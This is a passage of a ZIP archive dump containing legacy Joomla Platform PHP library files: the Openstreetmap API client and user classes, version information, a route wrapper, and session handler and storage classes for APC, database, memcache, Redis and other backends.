protected $gps;
/**
* Openstreetmap API object for info.
*
* @var JOpenstreetmapInfo
* @since 3.2.0
*/
protected $info;
/**
* Openstreetmap API object for user.
*
* @var JOpenstreetmapUser
* @since 3.2.0
*/
protected $user;
/**
* Constructor.
*
* @param JOpenstreetmapOauth $oauth Openstreetmap oauth client
* @param Registry $options Openstreetmap options object
* @param JHttp $client The HTTP client object
*
* @since 3.2.0
*/
public function __construct(JOpenstreetmapOauth $oauth = null, Registry
$options = null, JHttp $client = null)
{
$this->oauth = $oauth;
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
// Setup the default API url if not already set.
$this->options->def('api.url',
'https://api.openstreetmap.org/api/0.6/');
// $this->options->def('api.url',
'https://api06.dev.openstreetmap.org/api/0.6/');
}
/**
* Method to get object instances
*
* @param string $name Name of property to retrieve
*
* @return JOpenstreetmapObject Openstreetmap API object
*
* @since 3.2.0
* @throws InvalidArgumentException
*/
public function __get($name)
{
$class = 'JOpenstreetmap' . ucfirst($name);
if (class_exists($class))
{
if (false == isset($this->$name))
{
$this->$name = new $class($this->options, $this->client,
$this->oauth);
}
return $this->$name;
}
throw new InvalidArgumentException(sprintf('Argument %s produced an
invalid class name: %s', $name, $class));
}
/**
* Get an option from the JOpenstreetmap instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.2.0
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the Openstreetmap instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JOpenstreetmap This object for method chaining.
*
* @since 3.2.0
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PKOn�[�k=���openstreetmap/user.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Openstreetmap API User class for the Joomla Platform
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmapUser extends JOpenstreetmapObject
{
/**
* Method to get user details
*
* @return array The XML response
*
* @since 3.2.0
*/
public function getDetails()
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'user/details';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters);
return $response->body;
}
/**
* Method to get preferences
*
* @return array The XML response
*
* @since 3.2.0
*/
public function getPreferences()
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'user/preferences';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters);
return $response->body;
}
/**
* Method to replace user preferences
*
* @param array $preferences Array of new preferences
*
* @return array The XML response
*
* @since 3.2.0
*/
public function replacePreferences($preferences)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'user/preferences';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Create a list of preferences
$preference_list = '';
if (!empty($preferences))
{
foreach ($preferences as $key => $value)
{
$preference_list .= '<preference k="' . $key .
'" v="' . $value . '"/>';
}
}
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6" generator="JOpenstreetmap">
<preferences>'
. $preference_list .
'</preferences>
</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to change user preferences
*
* @param string $key Key of the preference
* @param string $preference New value for preference
*
* @return array The XML response
*
* @since 3.2.0
*/
public function changePreference($key, $preference)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'user/preferences/' . $key;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $preference);
return $response->body;
}
}
PKOn�[R�;ց � platform.phpnu�[���<?php
/**
* @package Joomla.Platform
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Version information class for the Joomla Platform.
*
* @since 1.7.0
* @deprecated 4.0 Deprecated without replacement
*/
final class JPlatform
{
// Product name.
const PRODUCT = 'Joomla Platform';
// Release version.
const RELEASE = '13.1';
// Maintenance version.
const MAINTENANCE = '0';
// Development STATUS.
const STATUS = 'Stable';
// Build number.
const BUILD = 0;
// Code name.
const CODE_NAME = 'Curiosity';
// Release date.
const RELEASE_DATE = '24-Apr-2013';
// Release time.
const RELEASE_TIME = '00:00';
// Release timezone.
const RELEASE_TIME_ZONE = 'GMT';
// Copyright Notice.
const COPYRIGHT = 'Copyright (C) 2005 - 2020 Open Source Matters,
Inc. All rights reserved.';
// Link text.
const LINK_TEXT = '<a
href="https://www.joomla.org">Joomla!</a> is Free
Software released under the GNU General Public License.';
/**
* Compares two a "PHP standardized" version number against the
current Joomla Platform version.
*
* @param string $minimum The minimum version of the Joomla Platform
which is compatible.
*
* @return boolean True if the version is compatible.
*
* @link https://www.php.net/version_compare
* @since 1.7.0
* @deprecated 4.0 Deprecated without replacement
*/
public static function isCompatible($minimum)
{
return version_compare(self::getShortVersion(), $minimum, 'eq')
== 1;
}
/**
* Gets a "PHP standardized" version string for the current
Joomla Platform.
*
* @return string Version string.
*
* @since 1.7.0
* @deprecated 4.0 Deprecated without replacement
*/
public static function getShortVersion()
{
return self::RELEASE . '.' . self::MAINTENANCE;
}
/**
* Gets a version string for the current Joomla Platform with all release
information.
*
* @return string Complete version string.
*
* @since 1.7.0
* @deprecated 4.0 Deprecated without replacement
*/
public static function getLongVersion()
{
return self::PRODUCT . ' ' . self::RELEASE . '.' .
self::MAINTENANCE . ' ' . self::STATUS . ' [ ' .
self::CODE_NAME . ' ] '
. self::RELEASE_DATE . ' ' . self::RELEASE_TIME . '
' . self::RELEASE_TIME_ZONE;
}
}
PKOn�[�N���route/wrapper/route.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Application
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Wrapper class for JRoute
*
* @package Joomla.Platform
* @subpackage Application
* @since 3.4
* @deprecated 4.0 Will be removed without replacement
*/
class JRouteWrapperRoute
{
/**
* Helper wrapper method for _
*
* @param string $url Absolute or Relative URI to Joomla resource.
* @param boolean $xhtml Replace & by & for XML
compliance.
* @param integer $ssl Secure state for the resolved URI.
*
* @return string The translated humanly readable URL.
*
* @see JRoute::_()
* @since 3.4
*/
public function _($url, $xhtml = true, $ssl = null)
{
return JRoute::_($url, $xhtml, $ssl);
}
}
PKOn�[�s�
�
session/handler/interface.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Interface for managing HTTP sessions
*
* @since 3.5
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
interface JSessionHandlerInterface
{
/**
* Starts the session.
*
* @return boolean True if started.
*
* @since 3.5
* @throws RuntimeException If something goes wrong starting the session.
*/
public function start();
/**
* Checks if the session is started.
*
* @return boolean True if started, false otherwise.
*
* @since 3.5
*/
public function isStarted();
/**
* Returns the session ID
*
* @return string The session ID
*
* @since 3.5
*/
public function getId();
/**
* Sets the session ID
*
* @param string $id The session ID
*
* @return void
*
* @since 3.5
*/
public function setId($id);
/**
* Returns the session name
*
* @return mixed The session name.
*
* @since 3.5
*/
public function getName();
/**
* Sets the session name
*
* @param string $name The name of the session
*
* @return void
*
* @since 3.5
*/
public function setName($name);
/**
* Regenerates ID that represents this storage.
*
* Note regenerate+destroy should not clear the session data in memory
only delete the session data from persistent storage.
*
* @param boolean $destroy Destroy session when regenerating?
* @param integer $lifetime Sets the cookie lifetime for the session
cookie. A null value will leave the system settings unchanged,
* 0 sets the cookie to expire with browser
session. Time is in seconds, and is not a Unix timestamp.
*
* @return boolean True if session regenerated, false if error
*
* @since 3.5
*/
public function regenerate($destroy = false, $lifetime = null);
/**
* Force the session to be saved and closed.
*
* This method must invoke session_write_close() unless this interface is
used for a storage object design for unit or functional testing where
* a real PHP session would interfere with testing, in which case it
should actually persist the session data if required.
*
* @return void
*
* @see session_write_close()
* @since 3.5
* @throws RuntimeException If the session is saved without being
started, or if the session is already closed.
*/
public function save();
/**
* Clear all session data in memory.
*
* @return void
*
* @since 3.5
*/
public function clear();
}
PKOn�[C���
�
session/handler/joomla.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Interface for managing HTTP sessions
*
* @since 3.5
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionHandlerJoomla extends JSessionHandlerNative
{
/**
* The input object
*
* @var JInput
* @since 3.5
*/
public $input = null;
/**
* Force cookies to be SSL only
*
* @var boolean
* @since 3.5
*/
protected $force_ssl = false;
/**
* Public constructor
*
* @param array $options An array of configuration options
*
* @since 3.5
*/
public function __construct($options = array())
{
if (!headers_sent())
{
// Disable transparent sid support
ini_set('session.use_trans_sid', '0');
// Only allow the session ID to come from cookies and nothing else.
if ((int) ini_get('session.use_cookies') !== 1)
{
ini_set('session.use_only_cookies', 1);
}
}
// Set options
$this->setOptions($options);
$this->setCookieParams();
}
/**
* Starts the session
*
* @return boolean True if started
*
* @since 3.5
* @throws RuntimeException If something goes wrong starting the session.
*/
public function start()
{
$session_name = $this->getName();
// Get the JInputCookie object
$cookie = $this->input->cookie;
if (is_null($cookie->get($session_name)))
{
$session_clean = $this->input->get($session_name, false,
'string');
if ($session_clean)
{
$this->setId($session_clean);
$cookie->set($session_name, '', 1);
}
}
return parent::start();
}
/**
* Clear all session data in memory.
*
* @return void
*
* @since 3.5
*/
public function clear()
{
$sessionName = $this->getName();
/*
* In order to kill the session altogether, such as to log the user out,
the session id
* must also be unset. If a cookie is used to propagate the session id
(default behavior),
* then the session cookie must be deleted.
* We need to use setcookie here or we will get a warning in some session
handlers (ex: files).
*/
if (isset($_COOKIE[$sessionName]))
{
$cookie = session_get_cookie_params();
setcookie($sessionName, '', 1, $cookie['path'],
$cookie['domain'], $cookie['secure'], true);
}
parent::clear();
}
/**
* Set session cookie parameters
*
* @return void
*
* @since 3.5
*/
protected function setCookieParams()
{
if (headers_sent())
{
return;
}
$cookie = session_get_cookie_params();
if ($this->force_ssl)
{
$cookie['secure'] = true;
}
$config = JFactory::getConfig();
if ($config->get('cookie_domain', '') !=
'')
{
$cookie['domain'] =
$config->get('cookie_domain');
}
if ($config->get('cookie_path', '') !=
'')
{
$cookie['path'] = $config->get('cookie_path');
}
session_set_cookie_params($cookie['lifetime'],
$cookie['path'], $cookie['domain'],
$cookie['secure'], true);
}
/**
* Set additional session options
*
* @param array $options List of parameter
*
* @return boolean True on success
*
* @since 3.5
*/
protected function setOptions(array $options)
{
if (isset($options['force_ssl']))
{
$this->force_ssl = (bool) $options['force_ssl'];
}
return true;
}
}
PKPn�[(`���session/handler/native.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Interface for managing HTTP sessions
*
* @since 3.5
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionHandlerNative implements JSessionHandlerInterface
{
/**
* Has the session been started
*
* @var boolean
* @since 3.5
*/
private $started = false;
/**
* Has the session been closed
*
* @var boolean
* @since 3.5
*/
private $closed = false;
/**
* Starts the session
*
* @return boolean True if started
*
* @since 3.5
*/
public function start()
{
if ($this->isStarted())
{
return true;
}
$this->doSessionStart();
return true;
}
/**
* Checks if the session is started.
*
* @return boolean True if started, false otherwise.
*
* @since 3.5
*/
public function isStarted()
{
return $this->started;
}
/**
* Returns the session ID
*
* @return string The session ID
*
* @since 3.5
*/
public function getId()
{
return session_id();
}
/**
* Sets the session ID
*
* @param string $id The session ID
*
* @return void
*
* @since 3.5
* @throws LogicException
*/
public function setId($id)
{
if ($this->isStarted())
{
throw new LogicException('Cannot change the ID of an active
session');
}
session_id($id);
}
/**
* Returns the session name
*
* @return mixed The session name
*
* @since 3.5
*/
public function getName()
{
return session_name();
}
/**
* Sets the session name
*
* @param string $name The name of the session
*
* @return void
*
* @since 3.5
* @throws LogicException
*/
public function setName($name)
{
if ($this->isStarted())
{
throw new LogicException('Cannot change the name of an active
session');
}
session_name($name);
}
/**
* Regenerates ID that represents this storage.
*
* Note regenerate+destroy should not clear the session data in memory
only delete the session data from persistent storage.
*
* @param boolean $destroy Destroy session when regenerating?
* @param integer $lifetime Sets the cookie lifetime for the session
cookie. A null value will leave the system settings unchanged,
* 0 sets the cookie to expire with browser
session. Time is in seconds, and is not a Unix timestamp.
*
* @return boolean True if session regenerated, false if error
*
* @since 3.5
*/
public function regenerate($destroy = false, $lifetime = null)
{
if (!headers_sent() && null !== $lifetime)
{
ini_set('session.cookie_lifetime', $lifetime);
}
$return = session_regenerate_id($destroy);
// Workaround for https://bugs.php.net/bug.php?id=61470 as suggested by
David Grudl
session_write_close();
$this->closed = true;
if (isset($_SESSION))
{
$backup = $_SESSION;
$this->doSessionStart();
$_SESSION = $backup;
}
else
{
$this->doSessionStart();
}
return $return;
}
/**
* Force the session to be saved and closed.
*
* This method must invoke session_write_close() unless this interface is
used for a storage object design for unit or functional testing where
* a real PHP session would interfere with testing, in which case it
should actually persist the session data if required.
*
* @return void
*
* @see session_write_close()
* @since 3.5
*/
public function save()
{
// Verify if the session is active
if ((version_compare(PHP_VERSION, '5.4', 'ge')
&& PHP_SESSION_ACTIVE === session_status())
|| (version_compare(PHP_VERSION, '5.4', 'lt')
&& $this->started && isset($_SESSION) &&
$this->getId()))
{
$session = JFactory::getSession();
$data = $session->getData();
// Before storing it, let's serialize and encode the Registry
object
$_SESSION['joomla'] = base64_encode(serialize($data));
session_write_close();
$this->closed = true;
$this->started = false;
}
}
/**
* Clear all session data in memory.
*
* @return void
*
* @since 3.5
*/
public function clear()
{
// Need to destroy any existing sessions started with session.auto_start
if ($this->getId())
{
session_unset();
session_destroy();
}
$this->closed = true;
$this->started = false;
}
/**
* Performs the session start mechanism
*
* @return void
*
* @since 3.5.1
* @throws RuntimeException If something goes wrong starting the session.
*/
private function doSessionStart()
{
// Register our function as shutdown method, so we can manipulate it
register_shutdown_function(array($this, 'save'));
// Disable the cache limiter
session_cache_limiter('none');
/*
* Extended checks to determine if the session has already been started
*/
// If running PHP 5.4, try to use the native API
if (version_compare(PHP_VERSION, '5.4', 'ge')
&& PHP_SESSION_ACTIVE === session_status())
{
throw new RuntimeException('Failed to start the session: already
started by PHP.');
}
// Fallback check for PHP 5.3
if (version_compare(PHP_VERSION, '5.4', 'lt')
&& !$this->closed && isset($_SESSION) &&
$this->getId())
{
throw new RuntimeException('Failed to start the session: already
started by PHP ($_SESSION is set).');
}
// If we are using cookies (default true) and headers have already been
started (early output),
if (ini_get('session.use_cookies') &&
headers_sent($file, $line))
{
throw new RuntimeException(sprintf('Failed to start the session
because headers have already been sent by "%s" at line %d.',
$file, $line));
}
// Ok to try and start the session
if (!session_start())
{
throw new RuntimeException('Failed to start the session');
}
// Mark ourselves as started
$this->started = true;
}
}
PKPn�[W"Ҁ��session/storage/apc.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* APC session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageApc extends JSessionStorage
{
/**
* Constructor
*
* @param array $options Optional parameters
*
* @since 1.7.0
* @throws RuntimeException
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('APC Extension is not available',
404);
}
parent::__construct($options);
}
/**
* Read the data for a particular session identifier from the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 1.7.0
*/
public function read($id)
{
$sess_id = 'sess_' . $id;
return (string) apc_fetch($sess_id);
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $sessionData The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function write($id, $sessionData)
{
$sess_id = 'sess_' . $id;
return apc_store($sess_id, $sessionData,
ini_get('session.gc_maxlifetime'));
}
/**
* Destroy the data for a particular session identifier in the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function destroy($id)
{
$sess_id = 'sess_' . $id;
return apc_delete($sess_id);
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return extension_loaded('apc');
}
}
PKPn�[���=
session/storage/apcu.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* APC session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 3.9
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageApcu extends JSessionStorage
{
/**
* Constructor
*
* @param array $options Optional parameters
*
* @since 3.9
* @throws RuntimeException
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('APCu Extension is not available',
404);
}
parent::__construct($options);
}
/**
* Read the data for a particular session identifier from the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 3.9
*/
public function read($id)
{
$sess_id = 'sess_' . $id;
return (string) apcu_fetch($sess_id);
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $sessionData The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 3.9
*/
public function write($id, $sessionData)
{
$sess_id = 'sess_' . $id;
return apcu_store($sess_id, $sessionData,
ini_get('session.gc_maxlifetime'));
}
/**
* Destroy the data for a particular session identifier in the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 3.9
*/
public function destroy($id)
{
$sess_id = 'sess_' . $id;
// The apcu_delete function returns false if the id does not exist
return apcu_delete($sess_id = 'sess_' . $id) ||
!apcu_exists($sess_id = 'sess_' . $id);
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.9
*/
public static function isSupported()
{
$supported = extension_loaded('apcu') &&
ini_get('apc.enabled');
// If on the CLI interface, the `apc.enable_cli` option must also be
enabled
if ($supported && php_sapi_name() === 'cli')
{
$supported = ini_get('apc.enable_cli');
}
return (bool) $supported;
}
}
PKPn�[���)��session/storage/database.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Database session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageDatabase extends JSessionStorage
{
/**
* Read the data for a particular session identifier from the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 1.7.0
*/
public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' .
$db->quoteBinary($id));
$db->setQuery($query);
$result = (string) $db->loadResult();
$result = str_replace('\0\0\0', chr(0) . '*' .
chr(0), $result);
return $result;
}
catch (RuntimeException $e)
{
return false;
}
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0',
$data);
try
{
$query = $db->getQuery(true)
->update($db->quoteName('#__session'))
->set($db->quoteName('data') . ' = ' .
$db->quote($data))
->set($db->quoteName('time') . ' = ' .
time())
->where($db->quoteName('session_id') . ' = '
. $db->quoteBinary($id));
// Try to update the session data in the database table.
$db->setQuery($query);
$db->execute();
/*
* Since $db->execute did not throw an exception, so the query was
successful.
* Either the data changed, or the data was identical.
* In either case we are done.
*/
return true;
}
catch (RuntimeException $e)
{
return false;
}
}
/**
* Destroy the data for a particular session identifier in the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function destroy($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
$query = $db->getQuery(true)
->delete($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = '
. $db->quoteBinary($id));
// Remove a session from the database.
$db->setQuery($query);
return (boolean) $db->execute();
}
catch (RuntimeException $e)
{
return false;
}
}
/**
* Garbage collect stale sessions from the SessionHandler backend.
*
* @param integer $lifetime The maximum age of a session.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function gc($lifetime = 1440)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
// Determine the timestamp threshold with which to purge old sessions.
$past = time() - $lifetime;
try
{
$query = $db->getQuery(true)
->delete($db->quoteName('#__session'))
->where($db->quoteName('time') . ' < ' .
(int) $past);
// Remove expired sessions from the database.
$db->setQuery($query);
return (boolean) $db->execute();
}
catch (RuntimeException $e)
{
return false;
}
}
}
PKPn�[2v�%��session/storage/memcache.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Memcache session storage handler for PHP
*
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageMemcache extends JSessionStorage
{
/**
* @var array Container for memcache server conf arrays
*/
private $_servers = array();
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('Memcache Extension is not
available', 404);
}
$config = JFactory::getConfig();
// This will be an array of loveliness
// @todo: multiple servers
$this->_servers = array(
array(
'host' =>
$config->get('session_memcache_server_host',
'localhost'),
'port' =>
$config->get('session_memcache_server_port', 11211),
),
);
parent::__construct($options);
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 3.0.1
*/
public function register()
{
if (!empty($this->_servers) && isset($this->_servers[0]))
{
$serverConf = current($this->_servers);
if (!headers_sent())
{
ini_set('session.save_path',
"{$serverConf['host']}:{$serverConf['port']}");
ini_set('session.save_handler', 'memcache');
}
}
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return extension_loaded('memcache') &&
class_exists('Memcache');
}
}
PKPn�[�m����session/storage/memcached.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Memcached session storage handler for PHP
*
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageMemcached extends JSessionStorage
{
/**
* @var array Container for memcache server conf arrays
*/
private $_servers = array();
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('Memcached Extension is not
available', 404);
}
$config = JFactory::getConfig();
// This will be an array of loveliness
// @todo: multiple servers
$this->_servers = array(
array(
'host' =>
$config->get('session_memcached_server_host',
'localhost'),
'port' =>
$config->get('session_memcached_server_port', 11211),
),
);
parent::__construct($options);
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 3.0.1
*/
public function register()
{
if (!empty($this->_servers) && isset($this->_servers[0]))
{
$serverConf = current($this->_servers);
if (!headers_sent())
{
ini_set('session.save_path',
"{$serverConf['host']}:{$serverConf['port']}");
ini_set('session.save_handler', 'memcached');
}
}
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return extension_loaded('memcached') &&
class_exists('Memcached');
}
}
PKPn�[$���session/storage/none.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* File session handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageNone extends JSessionStorage
{
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 1.7.0
*/
public function register()
{
// Default session handler is `files`
}
}
PKPn�[T�[,%
%
session/storage/redis.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Redis session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 3.8.0
*/
class JSessionStorageRedis extends JSessionStorage
{
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 3.8.0
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('Redis Extension is not available',
404);
}
$config = JFactory::getConfig();
$this->_server = array(
'host' =>
$config->get('session_redis_server_host',
'localhost'),
'port' =>
$config->get('session_redis_server_port', 6379),
'persist' =>
$config->get('session_redis_persist', true),
'auth' =>
$config->get('session_redis_server_auth', null),
'db' => (int)
$config->get('session_redis_server_db', 0),
);
// If you are trying to connect to a socket file, ignore the supplied
port
if ($this->_server['host'][0] === '/')
{
$this->_server['port'] = 0;
}
parent::__construct($options);
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 3.8.0
*/
public function register()
{
if (!empty($this->_server) &&
isset($this->_server['host'],
$this->_server['port']))
{
if (!headers_sent())
{
if ($this->_server['port'] === 0)
{
$path = 'unix://' . $this->_server['host'];
}
else
{
$path = 'tcp://' . $this->_server['host'] .
":" . $this->_server['port'];
}
$persist = isset($this->_server['persist']) ?
$this->_server['persist'] : false;
$db = isset($this->_server['db']) ?
$this->_server['db'] : 0;
$path .= '?persistent=' . (int) $persist .
'&database=' . $db;
if (!empty($this->_server['auth']))
{
$path .= '&auth=' . $this->_server['auth'];
}
ini_set('session.save_path', $path);
ini_set('session.save_handler', 'redis');
}
// This is required if the configuration.php gzip is turned on
ini_set('zlib.output_compression', 'Off');
}
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.8.0
*/
public static function isSupported()
{
return extension_loaded('redis') &&
class_exists('Redis');
}
}
PKPn�[�T+qqsession/storage/wincache.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* WINCACHE session storage handler for PHP
*
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageWincache extends JSessionStorage
{
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('Wincache Extension is not
available', 404);
}
parent::__construct($options);
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 3.0.1
*/
public function register()
{
if (!headers_sent())
{
ini_set('session.save_handler', 'wincache');
}
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return extension_loaded('wincache') &&
function_exists('wincache_ucache_get') &&
!strcmp(ini_get('wincache.ucenabled'), '1');
}
}
PKPn�[��>���session/storage/xcache.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
